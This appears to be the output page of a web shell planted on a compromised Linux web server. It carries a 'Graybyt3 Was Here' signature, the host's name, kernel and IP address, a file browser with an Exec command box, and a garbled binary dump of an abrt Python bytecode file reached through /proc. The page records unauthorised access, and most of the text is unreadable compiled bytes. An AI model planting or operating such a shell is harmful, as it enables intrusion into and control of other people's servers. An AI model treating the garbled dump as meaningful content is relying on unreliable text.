Graybyt3 Was Here
Linux host1.absolutelystunningcenterpieces.com 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64
Apache
69.167.136.200
/
proc
/
23344
/
root
/
lib64
/
python2.7
/
site-packages
/
reportclient
[ HOME ]
Exec
Submit
debuginfo.pyo
� u�Q]c @ s= d Z d d l Z d d l Z d d l Z d d l Z d d l Z d d l m Z d d l m Z m Z d d l m Z d d l m Z d d l m Z m Z m Z m Z m Z m Z m Z m Z m Z d a d � Z e e d � � Z d � Z d e f d � � YZ d � Z d e f d � � YZ d � Z d � Z! d S( s\ This module provides classes and functions used to download and manage debuginfos. i����N( t Popen( t _t YumBase( t DownloadBaseCallback( t YumBaseError( R t log1t log2t RETURN_OKt RETURN_FAILUREt RETURN_CANCEL_BY_USERt verboset ask_yes_not error_msgt c sq d d l } t j � � t j � � | j d � � � j � k rU � j � k rU � S� � � � f d � } | S( s� Ensures that the function is called using abrt's uid and gid Returns: Either an unchanged function object or a wrapper function object for the function. i����Nt abrtc sM t j � j � t j � j � � | | � } t j � � t j � � | S( s� Wrapper function around the called function. Sets up uid and gid to match abrt's and after the function finishes rolls its uid and gid back. Returns: Return value of the wrapped function. ( t ost setegidt pw_gidt seteuidt pw_uid( t argst kwargst retval( R t current_gidt current_uidt fn( s<